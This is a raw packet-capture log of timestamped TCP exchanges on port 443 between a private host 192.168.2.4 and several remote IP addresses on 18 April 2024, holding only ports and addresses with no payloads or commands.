Apr 18, 2024 00:28:02.744523048 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.744560957 CEST	49754	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.744571924 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.744620085 CEST	49754	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.744918108 CEST	49754	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.745516062 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.745618105 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.745655060 CEST	49754	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.745748997 CEST	49754	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.772468090 CEST	49754	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.772480011 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.819552898 CEST	49757	443	192.168.2.4	104.17.24.14
Apr 18, 2024 00:28:02.819560051 CEST	443	49757	104.17.24.14	192.168.2.4
Apr 18, 2024 00:28:02.960500002 CEST	443	49758	142.250.9.99	192.168.2.4
Apr 18, 2024 00:28:02.996591091 CEST	49758	443	192.168.2.4	142.250.9.99
Apr 18, 2024 00:28:02.996646881 CEST	443	49758	142.250.9.99	192.168.2.4
Apr 18, 2024 00:28:03.000274897 CEST	443	49758	142.250.9.99	192.168.2.4
Apr 18, 2024 00:28:03.000544071 CEST	49758	443	192.168.2.4	142.250.9.99
Apr 18, 2024 00:28:03.002854109 CEST	49760	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.002908945 CEST	443	49760	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.003252029 CEST	49760	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.004385948 CEST	49760	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.004407883 CEST	443	49760	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.004489899 CEST	49758	443	192.168.2.4	142.250.9.99
Apr 18, 2024 00:28:03.004744053 CEST	443	49758	142.250.9.99	192.168.2.4
Apr 18, 2024 00:28:03.056377888 CEST	49761	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.056453943 CEST	443	49761	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.056488991 CEST	49758	443	192.168.2.4	142.250.9.99
Apr 18, 2024 00:28:03.056543112 CEST	443	49758	142.250.9.99	192.168.2.4
Apr 18, 2024 00:28:03.056876898 CEST	49761	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.056876898 CEST	49761	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.056945086 CEST	443	49761	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.090308905 CEST	49762	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.090342999 CEST	443	49762	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.090651035 CEST	49762	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.090651035 CEST	49762	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.090676069 CEST	443	49762	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.094779968 CEST	49763	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.094815016 CEST	443	49763	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.094897985 CEST	49763	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.096467018 CEST	49763	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.096482992 CEST	443	49763	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.104587078 CEST	49758	443	192.168.2.4	142.250.9.99
Apr 18, 2024 00:28:03.113408089 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.113483906 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.113950968 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.114298105 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.114373922 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.223176956 CEST	443	49760	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.231780052 CEST	49760	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.231803894 CEST	443	49760	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.232517004 CEST	443	49760	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.251571894 CEST	49760	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.251710892 CEST	443	49760	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.252084017 CEST	49760	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.277530909 CEST	443	49761	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.278903008 CEST	49761	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.278959036 CEST	443	49761	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.279437065 CEST	443	49761	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.279984951 CEST	49761	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.280080080 CEST	443	49761	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.280174017 CEST	49761	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.296117067 CEST	443	49760	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.316972971 CEST	443	49762	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.317420959 CEST	49762	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.317445040 CEST	443	49762	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.318624020 CEST	443	49762	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.319176912 CEST	49762	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.319348097 CEST	443	49762	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.319533110 CEST	49762	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.322132111 CEST	443	49763	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.322871923 CEST	49763	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.322930098 CEST	443	49763	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.324141979 CEST	443	49761	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.326363087 CEST	443	49763	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.326447010 CEST	49763	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.327003956 CEST	49763	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.327235937 CEST	443	49763	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.327399015 CEST	49763	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.327406883 CEST	443	49763	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.333683968 CEST	49761	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.338061094 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.338521004 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.338551044 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.342153072 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.342422009 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.342829943 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.342991114 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.343008995 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.360183001 CEST	443	49762	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.364934921 CEST	49762	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.380611897 CEST	49763	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.396199942 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.396255970 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.428143978 CEST	49767	443	192.168.2.4	184.31.62.93
Apr 18, 2024 00:28:03.428208113 CEST	443	49767	184.31.62.93	192.168.2.4
Apr 18, 2024 00:28:03.428508997 CEST	49767	443	192.168.2.4	184.31.62.93
Apr 18, 2024 00:28:03.436388016 CEST	49767	443	192.168.2.4	184.31.62.93
Apr 18, 2024 00:28:03.436435938 CEST	443	49767	184.31.62.93	192.168.2.4
Apr 18, 2024 00:28:03.443063021 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.534800053 CEST	443	49761	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.534853935 CEST	443	49761	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.534898996 CEST	443	49761	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.534914017 CEST	49761	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.534954071 CEST	443	49761	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.535000086 CEST	443	49761	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.535047054 CEST	49761	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.535067081 CEST	443	49761	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.535119057 CEST	443	49761	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.535128117 CEST	49761	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.535141945 CEST	443	49761	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.535191059 CEST	49761	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.535203934 CEST	443	49761	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.535615921 CEST	443	49761	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.535659075 CEST	443	49761	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.535669088 CEST	49761	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.535684109 CEST	443	49761	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.535727978 CEST	443	49761	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.535778046 CEST	49761	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.535793066 CEST	443	49761	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.535835981 CEST	49761	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.536393881 CEST	443	49761	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.536473989 CEST	443	49761	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.536516905 CEST	443	49761	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.536521912 CEST	49761	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.536536932 CEST	443	49761	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.536583900 CEST	49761	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.536597013 CEST	443	49761	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.536617041 CEST	443	49761	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.537370920 CEST	49761	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.553386927 CEST	49761	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.553421974 CEST	443	49761	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.575531006 CEST	443	49762	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.575673103 CEST	443	49762	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.575674057 CEST	443	49760	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.575726986 CEST	49762	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.575747013 CEST	443	49762	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.575809002 CEST	443	49760	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.575828075 CEST	443	49762	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.575861931 CEST	49760	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.575937033 CEST	49762	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.575946093 CEST	443	49762	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.576006889 CEST	49762	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.576011896 CEST	443	49762	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.576085091 CEST	443	49762	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.576159000 CEST	49762	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.576174021 CEST	443	49762	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.576325893 CEST	443	49762	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.576370955 CEST	49762	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.576385975 CEST	443	49762	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.576447964 CEST	443	49762	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.576527119 CEST	443	49762	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.576590061 CEST	49762	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.576596022 CEST	443	49762	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.576713085 CEST	49762	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.576718092 CEST	443	49762	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.576734066 CEST	443	49762	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.576778889 CEST	49762	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.580447912 CEST	49760	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.580470085 CEST	443	49760	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.582093000 CEST	49762	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.582102060 CEST	443	49762	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.583378077 CEST	443	49763	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.583534002 CEST	443	49763	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.583592892 CEST	49763	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.583611965 CEST	443	49763	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.583683968 CEST	443	49763	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.583766937 CEST	443	49763	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.583817005 CEST	49763	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.583826065 CEST	443	49763	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.583868027 CEST	49763	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.583875895 CEST	443	49763	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.583977938 CEST	443	49763	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.584059954 CEST	443	49763	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.584070921 CEST	49763	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.584089994 CEST	443	49763	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.584275961 CEST	443	49763	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.584326029 CEST	49763	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.584335089 CEST	443	49763	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.584372997 CEST	49763	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.584378958 CEST	443	49763	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.584531069 CEST	443	49763	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.584616899 CEST	443	49763	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.584666967 CEST	49763	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.584675074 CEST	443	49763	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.584712029 CEST	49763	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.584717989 CEST	443	49763	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.584850073 CEST	443	49763	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.584903002 CEST	49763	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.584911108 CEST	443	49763	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.585685015 CEST	443	49763	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.585740089 CEST	49763	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.585746050 CEST	443	49763	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.585865974 CEST	443	49763	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.585917950 CEST	49763	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.585925102 CEST	443	49763	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.586030960 CEST	443	49763	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.586076021 CEST	49763	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.586082935 CEST	443	49763	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.586345911 CEST	443	49763	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.586394072 CEST	49763	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.586404085 CEST	443	49763	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.586500883 CEST	443	49763	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.586549997 CEST	49763	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.586560965 CEST	443	49763	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.586648941 CEST	443	49763	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.587320089 CEST	49763	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.587325096 CEST	443	49763	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.587485075 CEST	443	49763	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.587533951 CEST	49763	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.587539911 CEST	443	49763	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.587661982 CEST	443	49763	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.587714911 CEST	49763	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.587722063 CEST	443	49763	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.587842941 CEST	443	49763	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.587887049 CEST	49763	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.587893009 CEST	443	49763	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.588376045 CEST	443	49763	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.588435888 CEST	49763	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.588442087 CEST	443	49763	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.588514090 CEST	443	49763	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.588599920 CEST	443	49763	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.588648081 CEST	49763	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.588654995 CEST	443	49763	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.588695049 CEST	49763	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.589169025 CEST	443	49763	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.589231968 CEST	49763	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.602366924 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.602528095 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.602582932 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.602622986 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.602652073 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.602700949 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.602741003 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.602894068 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.603043079 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.603092909 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.603121042 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.603154898 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.603187084 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.603276968 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.603362083 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.603410959 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.603429079 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.603486061 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.603498936 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.603594065 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.603634119 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.603653908 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.603765011 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.603811026 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.603823900 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.604223967 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.604295015 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.604309082 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.604398966 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.604491949 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.604495049 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.604520082 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.604567051 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.604604959 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.605041981 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.605087042 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.605138063 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.605151892 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.605211973 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.605252981 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.605264902 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.605324030 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.605830908 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.605912924 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.605953932 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.605990887 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.605994940 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.606015921 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.606045961 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.606688976 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.606730938 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.606751919 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.606765985 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.606822968 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.606853008 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.606865883 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.607083082 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.607095003 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.607549906 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.607605934 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.607618093 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.607675076 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.607738972 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.607752085 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.661262035 CEST	443	49767	184.31.62.93	192.168.2.4
Apr 18, 2024 00:28:03.661364079 CEST	49767	443	192.168.2.4	184.31.62.93
Apr 18, 2024 00:28:03.662236929 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.666809082 CEST	49767	443	192.168.2.4	184.31.62.93
Apr 18, 2024 00:28:03.666842937 CEST	443	49767	184.31.62.93	192.168.2.4
Apr 18, 2024 00:28:03.667244911 CEST	443	49767	184.31.62.93	192.168.2.4
Apr 18, 2024 00:28:03.683434010 CEST	49769	443	192.168.2.4	35.190.80.1
Apr 18, 2024 00:28:03.683490038 CEST	443	49769	35.190.80.1	192.168.2.4
Apr 18, 2024 00:28:03.683564901 CEST	49769	443	192.168.2.4	35.190.80.1
Apr 18, 2024 00:28:03.683763027 CEST	49769	443	192.168.2.4	35.190.80.1
Apr 18, 2024 00:28:03.683792114 CEST	443	49769	35.190.80.1	192.168.2.4
Apr 18, 2024 00:28:03.687412977 CEST	443	49763	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.687504053 CEST	49763	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.687556982 CEST	443	49763	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.687686920 CEST	443	49763	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.687709093 CEST	49763	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.687717915 CEST	443	49763	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.687803984 CEST	49763	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.687809944 CEST	443	49763	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.687834978 CEST	443	49763	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.687993050 CEST	49763	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.688039064 CEST	49763	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.688072920 CEST	443	49763	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.688096046 CEST	49763	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.688419104 CEST	49763	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.706427097 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.706465960 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.706609964 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.707302094 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.707324028 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.707470894 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.707470894 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.707539082 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.707591057 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.707623005 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.707942009 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.708015919 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.708096981 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.708097935 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.708187103 CEST	443	49764	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:03.708262920 CEST	49764	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:03.708872080 CEST	443	49764	172.67.137.170	192.168.2.4
